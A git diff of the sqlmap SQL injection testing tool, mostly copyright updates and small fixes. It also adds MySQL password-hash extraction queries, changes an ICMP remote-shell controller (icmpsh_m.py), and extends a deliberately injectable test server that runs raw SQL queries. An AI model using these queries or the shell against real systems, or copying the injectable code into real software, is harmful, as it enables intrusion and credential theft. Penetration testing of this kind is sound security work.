+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 
@@ -1861,7 +1861,7 @@
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
+        <title>MySQL &lt; 5.0.12 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
         <stype>5</stype>
         <level>4</level>
         <risk>2</risk>
@@ -1876,7 +1876,7 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 

data/xml/queries.xml

@@ -3,7 +3,8 @@
 <root>
     <!-- MySQL -->
     <dbms value="MySQL">
-        <cast query="CAST(%s AS CHAR)"/>
+        <!-- http://dba.fyicenter.com/faq/mysql/Difference-between-CHAR-and-NCHAR.html -->
+        <cast query="CAST(%s AS NCHAR)"/>
         <length query="CHAR_LENGTH(%s)"/>
         <isnull query="IFNULL(%s,' ')"/>
         <delimiter query=","/>
@@ -32,9 +33,11 @@
             <inband query="SELECT grantee FROM INFORMATION_SCHEMA.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
             <blind query="SELECT DISTINCT(grantee) FROM INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT %d,1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d,1" count="SELECT COUNT(DISTINCT(grantee)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
         </users>
+        <!-- https://github.com/dev-sec/mysql-baseline/issues/35 -->
+        <!-- https://stackoverflow.com/a/31122246 -->
         <passwords>
-            <inband query="SELECT user,password FROM mysql.user" condition="user"/>
-            <blind query="SELECT DISTINCT(password) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(password)) FROM mysql.user WHERE user='%s'"/>
+            <inband query="SELECT user,authentication_string FROM mysql.user" condition="user"/>
+            <blind query="SELECT DISTINCT(authentication_string) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
         </passwords>
         <privileges>
             <inband query="SELECT grantee,privilege_type FROM INFORMATION_SCHEMA.USER_PRIVILEGES" condition="grantee" query2="SELECT user,select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user" condition2="user"/>
@@ -240,6 +243,9 @@
         <concatenate query="%s||%s"/>
         <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
         <hex query="RAWTOHEX(%s)"/>
+        <!--
+        NOTE: ASCIISTR (https://www.techonthenet.com/oracle/functions/asciistr.php)
+        -->
         <inference query="ASCII(SUBSTRC((%s),%d,1))>%d"/>
         <banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
         <current_user query="SELECT USER FROM DUAL"/>
@@ -421,7 +427,7 @@
         <length query="CHAR_LENGTH(TRIM(%s))"/>
         <delimiter query="||"/>
         <limit query="ROWS %d TO %d"/>
-        <limitregexp query="\s+ROWS\s+([\d]+)(\s+\TO\s+([\d]+))?"/>
+        <limitregexp query="\s+ROWS\s+([\d]+)(\s+TO\s+([\d]+))?"/>
         <limitgroupstart query="1"/>
         <limitgroupstop query="2"/>
         <limitstring query=" ROWS "/>

doc/translations/README-ko-KR.md

@@ -0,0 +1,50 @@
+# sqlmap
+
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
+
+sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다.
+
+스크린샷
+----
+
+![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
+
+또는, wiki에 나와있는 몇몇 기능을 보여주는 [스크린샷 모음](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 을 방문하실 수 있습니다.
+
+설치
+----
+
+[여기](https://github.com/sqlmapproject/sqlmap/tarball/master)를 클릭하여 최신 버전의 tarball 파일, 또는 [여기](https://github.com/sqlmapproject/sqlmap/zipball/master)를 클릭하여 최신 zipball 파일을 다운받으실 수 있습니다.
+
+가장 선호되는 방법으로, [Git](https://github.com/sqlmapproject/sqlmap) 저장소를 복제하여 sqlmap을 다운로드 할 수 있습니다:
+
+    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmap은 [Python](http://www.python.org/download/) 버전 **2.6**, **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다.
+
+사용법
+----
+
+기본 옵션과 스위치 목록을 보려면 다음 명령어를 사용하세요:
+
+    python sqlmap.py -h
+
+전체 옵션과 스위치 목록을 보려면 다음 명령어를 사용하세요:
+
+    python sqlmap.py -hh
+
+[여기](https://asciinema.org/a/46601)를 통해 사용 샘플들을 확인할 수 있습니다.
+sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록을 예제와 함께 보려면, [사용자 매뉴얼](https://github.com/sqlmapproject/sqlmap/wiki/Usage)을 참고하시길 권장드립니다.
+
+링크
+----
+
+* 홈페이지: http://sqlmap.org
+* 다운로드: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* RSS 피드 커밋: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
+* 사용자 매뉴얼: https://github.com/sqlmapproject/sqlmap/wiki
+* 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* 트위터: [@sqlmap](https://twitter.com/sqlmap)
+* 시연 영상: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-pt-BR.md

@@ -2,7 +2,7 @@
 
 [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
 
-sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
+sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
 
 Imagens
 ----

extra/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/beep/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/beep/beep.py

@@ -3,7 +3,7 @@
 """
 beep.py - Make a beep sound
 
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -15,11 +15,13 @@ BEEP_WAV_FILENAME = os.path.join(os.path.dirname(__file__), "beep.wav")
 
 def beep():
     try:
-        if sys.platform == "nt":
+        if sys.platform.startswith("win"):
             _win_wav_play(BEEP_WAV_FILENAME)
-        elif sys.platform == "darwin":
+        elif sys.platform.startswith("darwin"):
             _mac_beep()
-        elif sys.platform.startswith("linux"):
+        elif sys.platform.startswith("cygwin"):
+            _cygwin_beep(BEEP_WAV_FILENAME)
+        elif any(sys.platform.startswith(_) for _ in ("linux", "freebsd")):
             _linux_wav_play(BEEP_WAV_FILENAME)
         else:
             _speaker_beep()
@@ -34,6 +36,10 @@ def _speaker_beep():
     except IOError:
         pass
 
+# Reference: https://lists.gnu.org/archive/html/emacs-devel/2014-09/msg00815.html
+def _cygwin_beep(filename):
+    os.system("play-sound-file '%s' 2>/dev/null" % filename)
+
 def _mac_beep():
     import Carbon.Snd
     Carbon.Snd.SysBeep(1)
@@ -57,7 +63,10 @@ def _linux_wav_play(filename):
     class struct_pa_sample_spec(ctypes.Structure):
         _fields_ = [("format", ctypes.c_int), ("rate", ctypes.c_uint32), ("channels", ctypes.c_uint8)]
 
-    pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0")
+    try:
+        pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0")
+    except OSError:
+        return
 
     wave_file = wave.open(filename, "rb")
 

extra/cloak/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/cloak/cloak.py

@@ -3,7 +3,7 @@
 """
 cloak.py - Simple file encryption/compression utility
 
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/dbgtool/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/dbgtool/dbgtool.py

@@ -3,7 +3,7 @@
 """
 dbgtool.py - Portable executable to ASCII debug script converter
 
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/icmpsh/icmpsh_m.py

@@ -76,60 +76,63 @@ def main(src, dst):
     decoder = ImpactDecoder.IPDecoder()
 
     while True:
-        cmd = ''
+        try:
+            cmd = ''
 
-        # Wait for incoming replies
-        if sock in select.select([sock], [], [])[0]:
-            buff = sock.recv(4096)
+            # Wait for incoming replies
+            if sock in select.select([sock], [], [])[0]:
+                buff = sock.recv(4096)
 
-            if 0 == len(buff):
-                # Socket remotely closed
-                sock.close()
-                sys.exit(0)
+                if 0 == len(buff):
+                    # Socket remotely closed
+                    sock.close()
+                    sys.exit(0)
 
-            # Packet received; decode and display it
-            ippacket = decoder.decode(buff)
-            icmppacket = ippacket.child()
+                # Packet received; decode and display it
+                ippacket = decoder.decode(buff)
+                icmppacket = ippacket.child()
 
-            # If the packet matches, report it to the user
-            if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
-                # Get identifier and sequence number
-                ident = icmppacket.get_icmp_id()
-                seq_id = icmppacket.get_icmp_seq()
-                data = icmppacket.get_data_as_string()
+                # If the packet matches, report it to the user
+                if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
+                    # Get identifier and sequence number
+                    ident = icmppacket.get_icmp_id()
+                    seq_id = icmppacket.get_icmp_seq()
+                    data = icmppacket.get_data_as_string()
 
-                if len(data) > 0:
-                    sys.stdout.write(data)
+                    if len(data) > 0:
+                        sys.stdout.write(data)
 
-                # Parse command from standard input
-                try:
-                    cmd = sys.stdin.readline()
-                except:
-                    pass
+                    # Parse command from standard input
+                    try:
+                        cmd = sys.stdin.readline()
+                    except:
+                        pass
 
-                if cmd == 'exit\n':
-                    return
+                    if cmd == 'exit\n':
+                        return
 
-                # Set sequence number and identifier
-                icmp.set_icmp_id(ident)
-                icmp.set_icmp_seq(seq_id)
+                    # Set sequence number and identifier
+                    icmp.set_icmp_id(ident)
+                    icmp.set_icmp_seq(seq_id)
 
-                # Include the command as data inside the ICMP packet
-                icmp.contains(ImpactPacket.Data(cmd))
+                    # Include the command as data inside the ICMP packet
+                    icmp.contains(ImpactPacket.Data(cmd))
 
-                # Calculate its checksum
-                icmp.set_icmp_cksum(0)
-                icmp.auto_checksum = 1
+                    # Calculate its checksum
+                    icmp.set_icmp_cksum(0)
+                    icmp.auto_checksum = 1
 
-                # Have the IP packet contain the ICMP packet (along with its payload)
-                ip.contains(icmp)
+                    # Have the IP packet contain the ICMP packet (along with its payload)
+                    ip.contains(icmp)
 
-                try:
-                    # Send it to the target host
-                    sock.sendto(ip.get_packet(), (dst, 0))
-                except socket.error as ex:
-                    sys.stderr.write("'%s'\n" % ex)
-                    sys.stderr.flush()
+                    try:
+                        # Send it to the target host
+                        sock.sendto(ip.get_packet(), (dst, 0))
+                    except socket.error as ex:
+                        sys.stderr.write("'%s'\n" % ex)
+                        sys.stderr.flush()
+        except:
+            break
 
 if __name__ == '__main__':
     if len(sys.argv) < 3:

extra/safe2bin/README.txt

@@ -1,17 +0,0 @@
-To use safe2bin.py you need to pass it the original file,
-and optionally the output file name.
-
-Example:
-
-$ python ./safe2bin.py -i output.txt -o output.txt.bin
-
-This will create an binary decoded file output.txt.bin. For example, 
-if the content of output.txt is: "\ttest\t\x32\x33\x34\nnewline" it will 
-be decoded to: "	test	234
-newline"
-
-If you skip the output file name, general rule is that the binary
-file names are suffixed with the string '.bin'. So, that means that 
-the upper example can also be written in the following form:
-
-$ python ./safe2bin.py -i output.txt

extra/safe2bin/__init__.py

@@ -1,8 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-pass

extra/shutils/autocompletion.sh

@@ -0,0 +1,9 @@
+#/usr/bin/env bash
+
+# source ./extra/shutils/autocompletion.sh
+
+DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
+WORDLIST=`python "$DIR/../../sqlmap.py" -hh | grep -Eo '\s\--?\w[^ =,]*' | grep -vF '..' | paste -sd "" -`
+
+complete -W "$WORDLIST" sqlmap
+complete -W "$WORDLIST" ./sqlmap.py

extra/shutils/blanks.sh

@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Removes trailing spaces from blank lines inside project files

extra/shutils/drei.sh

@@ -1,13 +1,13 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Stress test against Python3
 
 export SQLMAP_DREI=1
 #for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
-for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i; done
+for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i | sed 's/Compiling/Checking/g'; done
 unset SQLMAP_DREI
 source `dirname "$0"`"/junk.sh"
 

extra/shutils/duplicates.py

@@ -1,6 +1,6 @@
 #!/usr/bin/env python
 
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Removes duplicate entries in wordlist like files

extra/shutils/junk.sh

@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null

extra/shutils/modernize.sh

@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # sudo pip install modernize

extra/shutils/pycodestyle.sh

@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)

extra/shutils/pydiatra.sh

@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Runs py2diatra on all python files (prerequisite: pip install pydiatra)

extra/shutils/pyflakes.sh

@@ -1,7 +1,7 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
-find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes '{}' \; | grep -v "redefines '_'"
+find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes3 '{}' \; | grep -v "redefines '_'"

extra/shutils/pylint.py

@@ -1,52 +0,0 @@
-#! /usr/bin/env python
-
-# Runs pylint on all python scripts found in a directory tree
-# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html
-
-from __future__ import print_function
-
-import os
-import re
-import sys
-
-total = 0.0
-count = 0
-
-__RATING__ = False
-
-def check(module):
-    global total, count
-
-    if module[-3:] == ".py":
-
-        print("CHECKING ", module)
-        pout = os.popen("pylint --rcfile=/dev/null %s" % module, 'r')
-        for line in pout:
-            if re.match(r"\AE:", line):
-                print(line.strip())
-            if __RATING__ and "Your code has been rated at" in line:
-                print(line)
-                score = re.findall(r"\d.\d\d", line)[0]
-                total += float(score)
-                count += 1
-
-if __name__ == "__main__":
-    try:
-        print(sys.argv)
-        BASE_DIRECTORY = sys.argv[1]
-    except IndexError:
-        print("no directory specified, defaulting to current working directory")
-        BASE_DIRECTORY = os.getcwd()
-
-    print("looking for *.py scripts in subdirectories of ", BASE_DIRECTORY)
-    for root, dirs, files in os.walk(BASE_DIRECTORY):
-        if any(_ in root for _ in ("extra", "thirdparty")):
-            continue
-        for name in files:
-            filepath = os.path.join(root, name)
-            check(filepath)
-
-    if __RATING__:
-        print("==" * 50)
-        print("%d modules found" % count)
-        print("AVERAGE SCORE = %.02f" % (total / count))

extra/shutils/pypi.sh

@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -67,7 +67,7 @@ cat > sqlmap/__init__.py << EOF
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/shutils/strip.sh

@@ -4,6 +4,9 @@
 #               http://www.muppetlabs.com/~breadbox/software/elfkickers.html
 #               https://ptspts.blogspot.hr/2013/12/how-to-make-smaller-c-and-c-binaries.html
 
+# https://github.com/BR903/ELFkickers/tree/master/sstrip
+# https://www.ubuntuupdates.org/package/core/cosmic/universe/updates/postgresql-server-dev-10
+
 # For example:
 # python ../../../../../extra/cloak/cloak.py -d -i lib_postgresqludf_sys.so_
 # ../../../../../extra/shutils/strip.sh lib_postgresqludf_sys.so

extra/vulnserver/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/vulnserver/vulnserver.py

@@ -3,20 +3,23 @@
 """
 vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
 
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
 from __future__ import print_function
 
+import json
 import re
 import sqlite3
 import sys
 import threading
 import traceback
 
-if sys.version_info >= (3, 0):
-    from http.client import FOUND
+PY3 = sys.version_info >= (3, 0)
+UNICODE_ENCODING = "utf-8"
+
+if PY3:
     from http.client import INTERNAL_SERVER_ERROR
     from http.client import NOT_FOUND
     from http.client import OK
@@ -28,7 +31,6 @@ if sys.version_info >= (3, 0):
 else:
     from BaseHTTPServer import BaseHTTPRequestHandler
     from BaseHTTPServer import HTTPServer
-    from httplib import FOUND
     from httplib import INTERNAL_SERVER_ERROR
     from httplib import NOT_FOUND
     from httplib import OK
@@ -95,48 +97,82 @@ class ReqHandler(BaseHTTPRequestHandler):
                 self.send_response(INTERNAL_SERVER_ERROR)
                 self.send_header("Connection", "close")
                 self.end_headers()
-                self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode("utf8"))
+                self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode(UNICODE_ENCODING))
                 return
 
         if hasattr(self, "data"):
-            params.update(parse_qs(self.data))
+            if self.data.startswith('{') and self.data.endswith('}'):
+                params.update(json.loads(self.data))
+            elif self.data.startswith('<') and self.data.endswith('>'):
+                params.update(dict((_[0], _[1].replace("&apos;", "'").replace("&quot;", '"').replace("&lt;", '<').replace("&gt;", '>').replace("&amp;", '&')) for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data)))
+            else:
+                params.update(parse_qs(self.data))
+
+        for name in self.headers:
+            params[name.lower()] = self.headers[name]
+
+        if "cookie" in params:
+            for part in params["cookie"].split(';'):
+                part = part.strip()
+                if '=' in part:
+                    name, value = part.split('=', 1)
+                    params[name.strip()] = unquote_plus(value.strip())
 
         for key in params:
-            if params[key]:
+            if params[key] and isinstance(params[key], (tuple, list)):
                 params[key] = params[key][-1]
 
         self.url, self.params = path, params
 
         if self.url == '/':
-            if "id" not in params:
-                self.send_response(FOUND)
-                self.send_header("Connection", "close")
-                self.send_header("Location", "/?id=1")
-                self.end_headers()
-            else:
+
+            if not any(_ in self.params for _ in ("id", "query")):
                 self.send_response(OK)
-                self.send_header("Content-type", "text/html")
+                self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
                 self.send_header("Connection", "close")
                 self.end_headers()
+                self.wfile.write(b"<html><p><h3>GET:</h3><a href='/?id=1'>link</a></p><hr><p><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></p></html>")
+            else:
+                code, output = OK, ""
 
                 try:
+
+                    if self.params.get("echo", ""):
+                        output += "%s<br>" % self.params["echo"]
+
                     with _lock:
-                        _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params.get("id", ""))
+                        if "query" in self.params:
+                            _cursor.execute(self.params["query"])
+                        elif "id" in self.params:
+                            _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
                         results = _cursor.fetchall()
 
-                    output = "<b>SQL results:</b>\n"
+                    output += "<b>SQL results:</b>\n"
                     output += "<table border=\"1\">\n"
+
                     for row in results:
                         output += "<tr>"
                         for value in row:
                             output += "<td>%s</td>" % value
                         output += "</tr>\n"
+
                     output += "</table>\n"
                     output += "</body></html>"
                 except Exception as ex:
+                    code = INTERNAL_SERVER_ERROR
                     output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex)
 
-                self.wfile.write(output.encode("utf8"))
+                self.send_response(code)
+
+                self.send_header("Content-type", "text/html")
+                self.send_header("Connection", "close")
+
+                if self.raw_requestline.startswith(b"HEAD"):
+                    self.send_header("Content-Length", str(len(output)))
+                    self.end_headers()
+                else:
+                    self.end_headers()
+                    self.wfile.write(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING))
         else:
             self.send_response(NOT_FOUND)
             self.send_header("Connection", "close")
@@ -145,11 +181,17 @@ class ReqHandler(BaseHTTPRequestHandler):
     def do_GET(self):
         self.do_REQUEST()
 
+    def do_PUT(self):
+        self.do_REQUEST()
+
+    def do_HEAD(self):
+        self.do_REQUEST()
+
     def do_POST(self):
         length = int(self.headers.get("Content-length", 0))
         if length:
             data = self.rfile.read(length)
-            data = unquote_plus(data.decode("utf8"))
+            data = unquote_plus(data.decode(UNICODE_ENCODING))
             self.data = data
         self.do_REQUEST()
 

lib/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/controller/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/controller/action.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -17,6 +17,7 @@ from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapUnsupportedDBMSException
 from lib.core.settings import SUPPORTED_DBMS
 from lib.utils.brute import columnExists
+from lib.utils.brute import fileExists
 from lib.utils.brute import tableExists
 
 def action():
@@ -180,7 +181,10 @@ def action():
             raise
 
     if conf.sqlQuery:
-        conf.dumper.sqlQuery(conf.sqlQuery, conf.dbmsHandler.sqlQuery(conf.sqlQuery))
+        for query in conf.sqlQuery.strip(';').split(';'):
+            query = query.strip()
+            if query:
+                conf.dumper.sqlQuery(query, conf.dbmsHandler.sqlQuery(query))
 
     if conf.sqlShell:
         conf.dbmsHandler.sqlShell()
@@ -199,6 +203,14 @@ def action():
     if conf.fileWrite:
         conf.dbmsHandler.writeFile(conf.fileWrite, conf.fileDest, conf.fileWriteType)
 
+    if conf.commonFiles:
+        try:
+            conf.dumper.rFile(fileExists(paths.COMMON_FILES))
+        except SqlmapNoneDataException as ex:
+            logger.critical(ex)
+        except:
+            raise
+
     # Operating system options
     if conf.osCmd:
         conf.dbmsHandler.osCmd()

lib/controller/checks.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -30,6 +30,7 @@ from lib.core.common import getSortedInjectionTests
 from lib.core.common import hashDBRetrieve
 from lib.core.common import hashDBWrite
 from lib.core.common import intersect
+from lib.core.common import joinValue
 from lib.core.common import listToStrValue
 from lib.core.common import parseFilePaths
 from lib.core.common import popValue
@@ -44,6 +45,7 @@ from lib.core.common import unArrayizeValue
 from lib.core.common import wasLastResponseDBMSError
 from lib.core.common import wasLastResponseHTTPError
 from lib.core.compat import xrange
+from lib.core.convert import getBytes
